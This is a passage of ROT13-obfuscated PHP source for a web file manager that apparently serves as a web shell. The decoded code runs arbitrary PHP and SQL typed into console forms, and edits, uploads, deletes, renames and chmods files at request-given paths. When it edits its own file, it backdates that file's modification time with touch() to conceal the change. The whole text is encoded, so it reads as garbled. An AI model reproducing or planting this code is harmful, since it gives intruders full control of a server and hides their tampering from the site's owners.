    onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,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");
}
<?=sz_ubzr_fglyr()?>
.vzt {
	onpxtebhaq-vzntr: 
hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNZNNNNbYD9GNNNNOTqOGHRNNX/VAjJX6DNNNqSDGSES7r3g/s39cW+s+pWnwI8d6racxTVz/fSB/+2B393p5hoz/fkoq29lvzqarSt65BGx2mbL6hUv1mNF1peWfUf2altb3Aeo2YOKeLgz2c5N/+uKcbEdcXBxjev46+ie0ZT36Lfm6hwczV6NamHljY+/zKIFzVOA8ojjw1IOlYTmn1MW0AQDwLFO/9AwjM6PjHNfkx0oeMlJj7czTM4N6YgqxUqs/+A8lbj27o5J87EAYMY/2ovC7jNN//TWy5rK4AsLfnnYtc6u1o+g/+6E68Sr89lpvzMq/hDi3e9AhcPO99I25n1pIWooaUuB/8kF+ZOn8sQjv2Wv48dv/+dBqIVmf34k//TBKVmLc5FC/fktdcvVpc+/fvDcpzcfgnlfmFNAhXXG9CG04hYvjVxl8YqR+fIJidnz8r/iY5VM+eyU8pAt08Ppm7nq8iYl9YgH1dlHhM4+e512+8f/jHcY3q3qk7J1sTAn/89M2psU+f5a6Bwbo1Lgf7Xm19sKjVt4c1qA+Cw4mYE0+8cq7fgeuXNf/9uw/9OI1XgsgYF1ac2qLyWFMSII5YEJuRSO5euM/9Wd0UgG//PFxVdW6X5Q+YAAoyIIiwZ047MZm7r31kRT////gXth6jNNNWg0Hx5G/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////jPIIcXLNNNNTKESJUEGo2M0q2SlMDOOMT9vMFOWoJSaMIWyLJE5ppyyCNNNNAMWERSHXSAwzXJvCDfMZZkvzfdCXcNo2ZfNMAwYBjxmttIzWLalcf/DR59rXPRgOunLSEswMhGuU27yL6xdOkLbeF/BZP5jvUMxy2DPPIGxA+gegSw4MFcZznjQSOQ0yPblamMOy1aVWw55RyON09cqip9ohG1FLXLOJj1DVP0bALfweSUWcFxiELfOXPPoZ9UYA9gJeodawHHTMT1NuThVKMEmcDy3nTjQ2O2pMM2mRbY7J+h6dlNhaMKVBZiDeSlxdjGvSmODABKw4DXmbNXmnwgLVDjNyigcy3I5p8ZNNNNNFHIBEX5PLVV=");
}
@zrqvn fperra naq (znk-jvqgu:720ck){
  gnoyr{qvfcynl:oybpx;}
    #sz_gnoyr gq{qvfcynl:vayvar;sybng:yrsg;}
    #sz_gnoyr gobql gq:svefg-puvyq{jvqgu:100%;cnqqvat:0;}
    #sz_gnoyr gobql ge:agu-puvyq(2a+1){onpxtebhaq-pbybe:#RSRSRS;}
    #sz_gnoyr gobql ge:agu-puvyq(2a){onpxtebhaq-pbybe:#QRR3R7;}
    #sz_gnoyr ge{qvfcynl:oybpx;sybng:yrsg;pyrne:yrsg;jvqgu:100%;}
	#urnqre_gnoyr .ebj2, #urnqre_gnoyr .ebj3 {qvfcynl:vayvar;sybng:yrsg;jvqgu:100%;cnqqvat:0;}
	#urnqre_gnoyr gnoyr gq {qvfcynl:vayvar;sybng:yrsg;}
}
</fglyr>
</urnq>
<obql>
<?cuc
$hey_vap = '?sz=gehr';
vs (vffrg($_CBFG['fdyeha'])&&!rzcgl($sz_pbasvt['ranoyr_fdy_pbafbyr'])){
	$erf = rzcgl($_CBFG['fdy']) ? '' : $_CBFG['fdy'];
	$erf_yat = 'fdy';
} ryfrvs (vffrg($_CBFG['cuceha'])&&!rzcgl($sz_pbasvt['ranoyr_cuc_pbafbyr'])){
	$erf = rzcgl($_CBFG['cuc']) ? '' : $_CBFG['cuc'];
	$erf_yat = 'cuc';
} 
vs (vffrg($_TRG['sz_frggvatf'])) {
	rpub ' 
<gnoyr pynff="jubyr">
<sbez zrgubq="cbfg" npgvba="">
<ge><gu pbyfcna="2">'.__('Svyr znantre').' - '.__('Frggvatf').'</gu></ge>
'.(rzcgl($zft)?'':'<ge><gq pynff="ebj2" pbyfcna="2">'.$zft.'</gq></ge>').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj fvmr bs gur sbyqre'),'fubj_qve_fvmr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('cvpgherf'),'fubj_vzt').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Znxr qverpgbel'),'znxr_qverpgbel').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Arj svyr'),'arj_svyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Hcybnq'),'hcybnq_svyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC irefvba','fubj_cuc_ire').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC vav','fubj_cuc_vav').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Trarengvba gvzr'),'fubj_tg').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' kyf','fubj_kyf').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC '.__('Pbafbyr'),'ranoyr_cuc_pbafbyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' FDY '.__('Pbafbyr'),'ranoyr_fdy_pbafbyr').'
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_freire]" inyhr="'.$sz_pbasvt['fdy_freire'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY freire</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_hfreanzr]" inyhr="'.$sz_pbasvt['fdy_hfreanzr'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY hfre</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_cnffjbeq]" inyhr="'.$sz_pbasvt['fdy_cnffjbeq'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY cnffjbeq</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_pbasvt[fdy_qo]" inyhr="'.$sz_pbasvt['fdy_qo'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">FDY QO</gq></ge>
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' Cebkl','ranoyr_cebkl').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' cucvasb()','fubj_cucvasb').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Frggvatf'),'sz_frggvatf').'
'.sz_pbasvt_purpxobk_ebj(__('Erfgber svyr gvzr nsgre rqvgvat'),'erfgber_gvzr').'
'.sz_pbasvt_purpxobk_ebj(__('Svyr znantre').': '.__('Erfgber svyr gvzr nsgre rqvgvat'),'sz_erfgber_gvzr').'
<ge><gq pynff="ebj3"><n uers="'.sz_hey().'?sz_frggvatf=gehr&sz_pbasvt_qryrgr=gehr">'.__('Erfrg frggvatf').'</n></gq><gq pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Fnir').'" anzr="sz_pbasvt[sz_frg_fhozvg]"></gq></ge>
</sbez>
</gnoyr>
<gnoyr>
<sbez zrgubq="cbfg" npgvba="">
<ge><gu pbyfcna="2">'.__('Frggvatf').' - '.__('Nhgubevmngvba').'</gu></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[nhgubevmr]" inyhr="1" '.($nhgu['nhgubevmr']?'purpxrq':'').' glcr="purpxobk" vq="nhgu"></gq><gq pynff="ebj2 jubyr"><ynory sbe="nhgu">'.__('Nhgubevmngvba').'</ynory></gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[ybtva]" inyhr="'.$nhgu['ybtva'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Ybtva').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[cnffjbeq]" inyhr="'.$nhgu['cnffjbeq'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Cnffjbeq').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[pbbxvr_anzr]" inyhr="'.$nhgu['pbbxvr_anzr'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Pbbxvr').'</gq></ge>
<ge><gq pynff="ebj1"><vachg anzr="sz_ybtva[qnlf_nhgubevmngvba]" inyhr="'.$nhgu['qnlf_nhgubevmngvba'].'" glcr="grkg"></gq><gq pynff="ebj2 jubyr">'.__('Qnlf').'</gq></ge>
<ge><gq pynff="ebj1"><grkgnern anzr="sz_ybtva[fpevcg]" pbyf="35" ebjf="7" pynff="grkgnern_vachg" vq="nhgu_fpevcg">'.$nhgu['fpevcg'].'</grkgnern></gq><gq pynff="ebj2 jubyr">'.__('Fpevcg').'</gq></ge>
<ge><gq pbyfcna="2" pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Fnir').'" ></gq></ge>
</sbez>
</gnoyr>';
rpub sz_gcy_sbez('cuc'),sz_gcy_sbez('fdy');
} ryfrvs (vffrg($cebkl_sbez)) {
	qvr($cebkl_sbez);
} ryfrvs (vffrg($erf_yat)) {	
?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj2"><gnoyr><ge><gq><u2><?=fgegbhccre($erf_yat)?> <?=__('Pbafbyr')?><?cuc
	vs($erf_yat=='fdy') rpub ' - Qngnonfr: '.$sz_pbasvt['fdy_qo'].'</u2></gq><gq>'.sz_eha_vachg('cuc');
	ryfr rpub '</u2></gq><gq>'.sz_eha_vachg('fdy');
	?></gq></ge></gnoyr></gq>
</ge>
<ge>
    <gq pynff="ebj1">
		<n uers="<?=$hey_vap.'&cngu=' . $cngu;?>"><?=__('Onpx')?></n>
		<sbez npgvba="" zrgubq="CBFG" anzr="pbafbyr">
		<grkgnern anzr="<?=$erf_yat?>" pbyf="80" ebjf="10" fglyr="jvqgu: 90%"><?=$erf?></grkgnern><oe/>
		<vachg glcr="erfrg" inyhr="<?=__('Erfrg')?>">
		<vachg glcr="fhozvg" inyhr="<?=__('Fhozvg')?>" anzr="<?=$erf_yat?>eha">
<?cuc
$fge_gzcy = $erf_yat.'_grzcyngrf';
$gzcy = !rzcgl($$fge_gzcy) ? wfba_qrpbqr($$fge_gzcy,gehr) : '';
vs (!rzcgl($gzcy)){
	$npgvir = vffrg($_CBFG[$erf_yat.'_gcy']) ? $_CBFG[$erf_yat.'_gcy'] : '';
	$fryrpg = '<fryrpg anzr="'.$erf_yat.'_gcy" gvgyr="'.__('Grzcyngr').'" bapunatr="vs (guvf.inyhr!=-1) qbphzrag.sbezf[\'pbafbyr\'].ryrzragf[\''.$erf_yat.'\'].inyhr = guvf.bcgvbaf[fryrpgrqVaqrk].inyhr; ryfr qbphzrag.sbezf[\'pbafbyr\'].ryrzragf[\''.$erf_yat.'\'].inyhr =\'\';" >'."\a";
	$fryrpg .= '<bcgvba inyhr="-1">' . __('Fryrpg') . "</bcgvba>\a";
	sbernpu ($gzcy nf $xrl=>$inyhr){
		$fryrpg.='<bcgvba inyhr="'.$inyhr.'" '.((!rzcgl($inyhr)&&($inyhr==$npgvir))?'fryrpgrq':'').' >'.__($xrl)."</bcgvba>\a";
	}
	$fryrpg .= "</fryrpg>\a";
	rpub $fryrpg;
}
?>
		</sbez>
	</gq>
</ge>
</gnoyr>
<?cuc
	vs (!rzcgl($erf)) {
		$sha='sz_'.$erf_yat;
		rpub '<u3>'.fgegbhccre($erf_yat).' '.__('Erfhyg').'</u3><cer>'.$sha($erf).'</cer>';
	}
} ryfrvs (!rzcgl($_ERDHRFG['rqvg'])){
	vs(!rzcgl($_ERDHRFG['fnir'])) {
		$sa = $cngu . $_ERDHRFG['rqvg'];
		$svyrzgvzr = svyrzgvzr($sa);
	    vs (svyr_chg_pbagragf($sa, $_ERDHRFG['arjpbagrag'])) $zft .= __('Svyr hcqngrq');
		ryfr $zft .= __('Reebe bppheerq');
		vs ($_TRG['rqvg']==onfranzr(__SVYR__)) {
			gbhpu(__SVYR__,1415116371);
		} ryfr {
			vs (!rzcgl($sz_pbasvt['erfgber_gvzr'])) gbhpu($sa,$svyrzgvzr);
		}
	}
    $byqpbagrag = @svyr_trg_pbagragf($cngu . $_ERDHRFG['rqvg']);
    $rqvgyvax = $hey_vap . '&rqvg=' . $_ERDHRFG['rqvg'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;
?>
<gnoyr obeqre='0' pryyfcnpvat='0' pryycnqqvat='1' jvqgu="100%">
<ge>
    <gu><?=__('Svyr znantre').' - '.__('Rqvg').' - '.$cngu.$_ERDHRFG['rqvg']?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=sz_ubzr()?> <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$rqvgyvax?>">
            <grkgnern anzr="arjpbagrag" vq="arjpbagrag" pbyf="45" ebjf="15" fglyr="jvqgu:99%" fcryypurpx="snyfr"><?=ugzyfcrpvnypunef($byqpbagrag)?></grkgnern>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
            <vachg glcr="fhozvg" anzr="pnapry" inyhr="<?=__('Pnapry')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
rpub $nhgu['fpevcg'];
} ryfrvs(!rzcgl($_ERDHRFG['evtugf'])){
	vs(!rzcgl($_ERDHRFG['fnir'])) {
	    vs(sz_puzbq($cngu . $_ERDHRFG['evtugf'], sz_pbaireg_evtugf($_ERDHRFG['evtugf_iny']), @$_ERDHRFG['erphefviryl']))
		$zft .= (__('Svyr hcqngrq')); 
		ryfr $zft .= (__('Reebe bppheerq'));
	}
	pyrnefgngpnpur();
    $byqevtugf = sz_evtugf_fgevat($cngu . $_ERDHRFG['evtugf'], gehr);
    $yvax = $hey_vap . '&evtugf=' . $_ERDHRFG['evtugf'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;
?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$yvax?>">
           <?=__('Evtugf').' - '.$_ERDHRFG['evtugf']?> <vachg glcr="grkg" anzr="evtugf_iny" inyhr="<?=$byqevtugf?>">
        <?cuc vs (vf_qve($cngu.$_ERDHRFG['evtugf'])) { ?>
            <vachg glcr="purpxobk" anzr="erphefviryl" inyhr="1"> <?=__('Erphefviryl')?><oe/>
        <?cuc } ?>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
} ryfrvs (!rzcgl($_ERDHRFG['eranzr'])&&$_ERDHRFG['eranzr']<>'.') {
	vs(!rzcgl($_ERDHRFG['fnir'])) {
	    eranzr($cngu . $_ERDHRFG['eranzr'], $cngu . $_ERDHRFG['arjanzr']);
		$zft .= (__('Svyr hcqngrq'));
		$_ERDHRFG['eranzr'] = $_ERDHRFG['arjanzr'];
	}
	pyrnefgngpnpur();
    $yvax = $hey_vap . '&eranzr=' . $_ERDHRFG['eranzr'] . '&cngu=' . $cngu;
    $onpxyvax = $hey_vap . '&cngu=' . $cngu;

?>
<gnoyr pynff="jubyr">
<ge>
    <gu><?=__('Svyr znantre').' - '.$cngu?></gu>
</ge>
<ge>
    <gq pynff="ebj1">
        <?=$zft?>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1">
        <n uers="<?=$onpxyvax?>"><?=__('Onpx')?></n>
	</gq>
</ge>
<ge>
    <gq pynff="ebj1" nyvta="pragre">
        <sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$yvax?>">
            <?=__('Eranzr')?>: <vachg glcr="grkg" anzr="arjanzr" inyhr="<?=$_ERDHRFG['eranzr']?>"><oe/>
            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
} ryfr {
//Yrg'f ebpx!
    $zft = '';
    vs(!rzcgl($_SVYRF['hcybnq'])&&!rzcgl($sz_pbasvt['hcybnq_svyr'])) {
        vs(!rzcgl($_SVYRF['hcybnq']['anzr'])){
            $_SVYRF['hcybnq']['anzr'] = fge_ercynpr('%', '', $_SVYRF['hcybnq']['anzr']);
            vs(!zbir_hcybnqrq_svyr($_SVYRF['hcybnq']['gzc_anzr'], $cngu . $_SVYRF['hcybnq']['anzr'])){
                $zft .= __('Reebe bppheerq');
            } ryfr {
				$zft .= __('Svyrf hcybnqrq').': '.$_SVYRF['hcybnq']['anzr'];
			}
        }
    } ryfrvs(!rzcgl($_ERDHRFG['qryrgr'])&&$_ERDHRFG['qryrgr']<>'.') {
        vs(!sz_qry_svyrf(($cngu . $_ERDHRFG['qryrgr']), gehr)) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			$zft .= __('Qryrgrq').' '.$_ERDHRFG['qryrgr'];
		}
	} ryfrvs(!rzcgl($_ERDHRFG['zxqve'])&&!rzcgl($sz_pbasvt['znxr_qverpgbel'])) {
        vs(!@zxqve($cngu . $_ERDHRFG['qveanzr'],0777)) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			$zft .= __('Perngrq').' '.$_ERDHRFG['qveanzr'];
		}
    } ryfrvs(!rzcgl($_CBFG['frnepu_erphefvir'])) {
		vav_frg('znk_rkrphgvba_gvzr', '0');
		$frnepu_qngn =  svaq_grkg_va_svyrf($_CBFG['cngu'], $_CBFG['znfx'], $_CBFG['frnepu_erphefvir']);
		vs(!rzcgl($frnepu_qngn)) {
			$zft .= __('Sbhaq va svyrf').' ('.pbhag($frnepu_qngn).'):<oe>';
			sbernpu ($frnepu_qngn nf $svyranzr) {
				$zft .= '<n uers="'.sz_hey(gehr).'?sz=gehr&rqvg='.onfranzr($svyranzr).'&cngu='.fge_ercynpr('/'.onfranzr($svyranzr),'/',$svyranzr).'" gvgyr="' . __('Rqvg') . '">'.onfranzr($svyranzr).'</n>&aofc; &aofc;';
			}
		} ryfr {
			$zft .= __('Abguvat sbhaqrq');
		}	
	} ryfrvs(!rzcgl($_ERDHRFG['zxsvyr'])&&!rzcgl($sz_pbasvt['arj_svyr'])) {
        vs(!$sc=@sbcra($cngu . $_ERDHRFG['svyranzr'],"j")) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			spybfr($sc);
			$zft .= __('Perngrq').' '.$_ERDHRFG['svyranzr'];
		}
    } ryfrvs (vffrg($_TRG['mvc'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['mvc']);
		$qrfgvangvba = onfranzr($fbhepr).'.mvc';
		frg_gvzr_yvzvg(0);
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->ohvyqSebzQverpgbel($fbhepr);
		vs (vf_svyr($qrfgvangvba))
		$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
		'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
		.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '. $qrfgvangvba.'" >'.__('Qryrgr') . '</n>';
		ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	} ryfrvs (vffrg($_TRG['tm'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['tm']);
		$nepuvir = $fbhepr.'.gne';
		$qrfgvangvba = onfranzr($fbhepr).'.gne';
		vs (vf_svyr($nepuvir)) hayvax($nepuvir);
		vs (vf_svyr($nepuvir.'.tm')) hayvax($nepuvir.'.tm');
		pyrnefgngpnpur();
		frg_gvzr_yvzvg(0);
		//qvr();
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->ohvyqSebzQverpgbel($fbhepr);
		$cune->pbzcerff(Cune::TM,'.gne.tm');
		hafrg($cune);
		vs (vf_svyr($nepuvir)) {
			vs (vf_svyr($nepuvir.'.tm')) {
				hayvax($nepuvir); 
				$qrfgvangvba .= '.tm';
			}

			$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
			'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
			.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '.$qrfgvangvba.'" >'.__('Qryrgr').'</n>';
		} ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	} ryfrvs (vffrg($_TRG['qrpbzcerff'])) {
		// $fbhepr = onfr64_qrpbqr($_TRG['qrpbzcerff']);
		// $qrfgvangvba = onfranzr($fbhepr);
		// $rkg = raq(rkcybqr(".", $qrfgvangvba));
		// vs ($rkg=='mvc' BE $rkg=='tm') {
			// $cune = arj CuneQngn($fbhepr);
			// $cune->qrpbzcerff();
